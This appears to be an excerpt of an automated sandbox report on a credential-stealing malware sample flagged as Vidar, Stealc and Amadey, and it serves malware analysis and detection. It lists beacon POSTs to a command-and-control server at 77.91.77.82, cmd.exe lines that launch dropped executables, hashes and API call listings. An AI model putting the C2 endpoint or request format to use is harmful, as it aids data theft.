r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:58.434057951 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 2, 2024 04:13:58.434153080 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 2, 2024 04:13:58.434220076 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	54850	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:58.556956053 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:59.243412018 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:59.244271994 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:59.461833954 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	54851	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:59.601548910 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:14:00.306586027 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:14:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:14:00.307653904 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:14:00.526451111 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:14:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	54852	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:14:00.649748087 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:14:01.339026928 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:14:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Target ID:	0
Start time:	22:11:55
Start date:	01/07/2024
Path:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Wf9qnVcbi8.exe"
Imagebase:	0x5d0000
File size:	2'514'944 bytes
MD5 hash:	58972B34CE77F8D7BBAA3F5B5344DB20
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2189641658.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.2189641658.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2198516833.0000000001655000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:12:14
Start date:	01/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:12:14
Start date:	01/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:12:14
Start date:	01/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\CFHDHIJDGC.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	22:12:14
Start date:	01/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	22:12:14
Start date:	01/07/2024
Path:	C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe"
Imagebase:	0xaa0000
File size:	1'907'200 bytes
MD5 hash:	742979A5B57DC70750A54561B3E2DAE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.2198644151.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.2239583360.0000000000AA1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	22:12:18
Start date:	01/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Imagebase:	0x2f0000
File size:	1'907'200 bytes
MD5 hash:	742979A5B57DC70750A54561B3E2DAE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000003.2234772240.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.2275486715.00000000002F1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	22:12:19
Start date:	01/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x2f0000
File size:	1'907'200 bytes
MD5 hash:	742979A5B57DC70750A54561B3E2DAE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.2243049461.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.2283301869.00000000002F1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	22:13:00
Start date:	01/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x2f0000
File size:	1'907'200 bytes
MD5 hash:	742979A5B57DC70750A54561B3E2DAE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000003.2646045722.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000002.3235698523.00000000002F1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	22:13:06
Start date:	01/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe"
Imagebase:	0x550000
File size:	2'514'944 bytes
MD5 hash:	58972B34CE77F8D7BBAA3F5B5344DB20
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000D.00000002.2715962638.0000000000551000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 0000000D.00000002.2715962638.0000000000551000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000002.2717126137.000000000185E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30%
Total number of Nodes:	110
Total number of Limit Nodes:	12

Executed Functions

Function 6C5435A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C5CF688,00001000), ref: 6C5435D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5435E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5435FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C54363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C54369F
__aulldiv.LIBCMT ref: 6C5436E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C543773
EnterCriticalSection.KERNEL32(6C5CF688), ref: 6C54377E
LeaveCriticalSection.KERNEL32(6C5CF688), ref: 6C5437BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5437C4
EnterCriticalSection.KERNEL32(6C5CF688), ref: 6C5437CB
LeaveCriticalSection.KERNEL32(6C5CF688), ref: 6C543801
__aulldiv.LIBCMT ref: 6C543883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C543902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C543918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C54394C

Strings

GenuntelineI, xrefs: 6C543639
AuthcAMDenti, xrefs: 6C543946
QPC, xrefs: 6C5438FC
GTC, xrefs: 6C543912
MOZ_TIMESTAMP_MODE, xrefs: 6C5435DB

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: a75224c0b6312e0ba558ebadad5a2d27ac133e7ab1677901b2d467f782fa5999
Instruction ID: 989328cf4c13cbb821897695e95552affbd0c1979acc919c3f219d9875a4165b
Opcode Fuzzy Hash: a75224c0b6312e0ba558ebadad5a2d27ac133e7ab1677901b2d467f782fa5999
Instruction Fuzzy Hash: A4B1E971B057109FDB08DF28CC4561ABBF5FB8A704F068A2EE899D3760D7749A40CB99

Function 6C55C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C55C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C55C969
GetSystemInfo.KERNEL32(?), ref: 6C55C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C55C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C55C9E2

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 9cb22fcf6d2ac14afc8ee3a1d5b92102c69f06fbb9965ea3aba056b6be09077d
Instruction ID: f323a5079e6bd8e08c7e4ee564162ceb4307358c76259ba02d84c4ac826f1aa4
Opcode Fuzzy Hash: 9cb22fcf6d2ac14afc8ee3a1d5b92102c69f06fbb9965ea3aba056b6be09077d
Instruction Fuzzy Hash: C921F971741618ABDB14AA24CC84BAE73B9AB4A704FD1051FF907A7B80EB707D40C7A5

Function 6C543060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C543095

Part of subcall function 6C5435A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C5CF688,00001000), ref: 6C5435D5
Part of subcall function 6C5435A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5435E0
Part of subcall function 6C5435A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5435FD
Part of subcall function 6C5435A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C54363F
Part of subcall function 6C5435A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C54369F
Part of subcall function 6C5435A0: __aulldiv.LIBCMT ref: 6C5436E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C54309F

Part of subcall function 6C565B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5656EE,?,00000001), ref: 6C565B85
Part of subcall function 6C565B50: EnterCriticalSection.KERNEL32(6C5CF688,?,?,?,6C5656EE,?,00000001), ref: 6C565B90
Part of subcall function 6C565B50: LeaveCriticalSection.KERNEL32(6C5CF688,?,?,?,6C5656EE,?,00000001), ref: 6C565BD8
Part of subcall function 6C565B50: GetTickCount64.KERNEL32 ref: 6C565BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5430BE

Part of subcall function 6C5430F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C543127
Part of subcall function 6C5430F0: __aulldiv.LIBCMT ref: 6C543140

Part of subcall function 6C57AB2A: __onexit.LIBCMT ref: 6C57AB30

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 27c56e76c964e76dee59faa7c7231e8dbd35bdfe041eefaf0cb45d21723cdfba
Instruction ID: 6a82257101f1be383e79f140b9455cff36e2b7624cadf27d71fcfc23d5e33824
Opcode Fuzzy Hash: 27c56e76c964e76dee59faa7c7231e8dbd35bdfe041eefaf0cb45d21723cdfba
Instruction Fuzzy Hash: 20F0D632D20B4496CA10EF748C415E67770AFAB214F52531DE88967661FB20A7D88399

Function 00963B8C Relevance: 1.3, APIs: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 00963BB7

Memory Dump Source

Source File: 00000000.00000002.2189641658.0000000000956000.00000040.00000001.01000000.00000003.sdmp, Offset: 0080C000, based on PE: true

Associated: 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189641658.000000000093C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189641658.00000000009A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189641658.00000000009E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189641658.0000000000D00000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_Wf9qnVcbi8.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 247241fe68ca9fecf16c9f73bfaf02c550713cd9c8334ec5e766c04efa7bc038
Instruction ID: 12a255d41acc7b1b5c830b61377ffaa50dde870a87e23d26bdfb94d67752b86c
Opcode Fuzzy Hash: 247241fe68ca9fecf16c9f73bfaf02c550713cd9c8334ec5e766c04efa7bc038
Instruction Fuzzy Hash: A8E0E2B672460CABDB50CEACD884BAB339DEB88310F14C412FA09D7204C234EE109B61

Function 00902E84 Relevance: .1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.2189525028.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189641658.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189641658.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189641658.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189641658.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189641658.0000000000807000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189641658.000000000093C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189641658.0000000000956000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189641658.00000000009A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189641658.00000000009E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189641658.0000000000D00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189641658.0000000000FA8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_Wf9qnVcbi8.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b84ed5edbae5a26dd1e9dc39e889bad1f06145ccdb306297fd37cd73eb00941
Instruction ID: d93137af8c9526ff0a7c2953820c6a1bb1adc9af6088efd438ba1a1e06c0abde
Opcode Fuzzy Hash: 6b84ed5edbae5a26dd1e9dc39e889bad1f06145ccdb306297fd37cd73eb00941
Instruction Fuzzy Hash: 0C11BF307142128FE315EF29D8C9E59B3ABAF8A304B508272E508873F5CB706C86DB64

Non-executed Functions

Function 6C555440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C555492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5554A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5554BE
__Init_thread_footer.LIBCMT ref: 6C5554DB

Part of subcall function 6C57AB3F: EnterCriticalSection.KERNEL32(6C5CE370,?,?,6C543527,6C5CF6CC,?,?,?,?,?,?,?,?,6C543284), ref: 6C57AB49
Part of subcall function 6C57AB3F: LeaveCriticalSection.KERNEL32(6C5CE370,?,6C543527,6C5CF6CC,?,?,?,?,?,?,?,?,6C543284,?,?,6C5656F6), ref: 6C57AB7C

Part of subcall function 6C57CBE8: GetCurrentProcess.KERNEL32(?,6C5431A7), ref: 6C57CBF1
Part of subcall function 6C57CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5431A7), ref: 6C57CBFA

GetCurrentThreadId.KERNEL32 ref: 6C5554F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C555516
GetCurrentThreadId.KERNEL32 ref: 6C55556A
AcquireSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C555577
moz_xmalloc.MOZGLUE(00000070), ref: 6C555585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C555590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5555E6
ReleaseSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C555606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C555616

Part of subcall function 6C57AB89: EnterCriticalSection.KERNEL32(6C5CE370,?,?,?,6C5434DE,6C5CF6CC,?,?,?,?,?,?,?,6C543284), ref: 6C57AB94
Part of subcall function 6C57AB89: LeaveCriticalSection.KERNEL32(6C5CE370,?,6C5434DE,6C5CF6CC,?,?,?,?,?,?,?,6C543284,?,?,6C5656F6), ref: 6C57ABD1

GetCurrentThreadId.KERNEL32 ref: 6C55563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C555646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C55567C
free.MOZGLUE(?), ref: 6C5556AE

Part of subcall function 6C565E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C565EDB
Part of subcall function 6C565E90: memset.VCRUNTIME140(ewZl,000000E5,?), ref: 6C565F27
Part of subcall function 6C565E90: LeaveCriticalSection.KERNEL32(?), ref: 6C565FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5556E8
GetCurrentThreadId.KERNEL32 ref: 6C555707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C55570F
